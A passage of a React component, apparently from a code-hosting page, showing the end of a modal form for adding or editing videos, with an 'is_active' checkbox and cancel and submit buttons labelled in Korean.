<input
|
||||
type="checkbox"
|
||||
id="is_active"
|
||||
checked={formData.is_active}
|
||||
onChange={(e) =>
|
||||
setFormData({ ...formData, is_active: e.target.checked })
|
||||
}
|
||||
className="w-4 h-4 text-red-500 rounded"
|
||||
/>
|
||||
<label htmlFor="is_active" className="text-sm text-gray-700">
|
||||
활성화 (웹사이트에 표시)
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{/* Buttons */}
|
||||
<div className="flex justify-end gap-2 pt-4">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowModal(false)}
|
||||
className="px-4 py-2 text-gray-700 bg-gray-100 rounded-lg hover:bg-gray-200 transition"
|
||||
>
|
||||
취소
|
||||
</button>
|
||||
<button
|
||||
type="submit"
|
||||
className="px-4 py-2 bg-red-500 text-white rounded-lg hover:bg-red-600 transition"
|
||||
>
|
||||
{editingVideo ? "수정" : "추가"}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user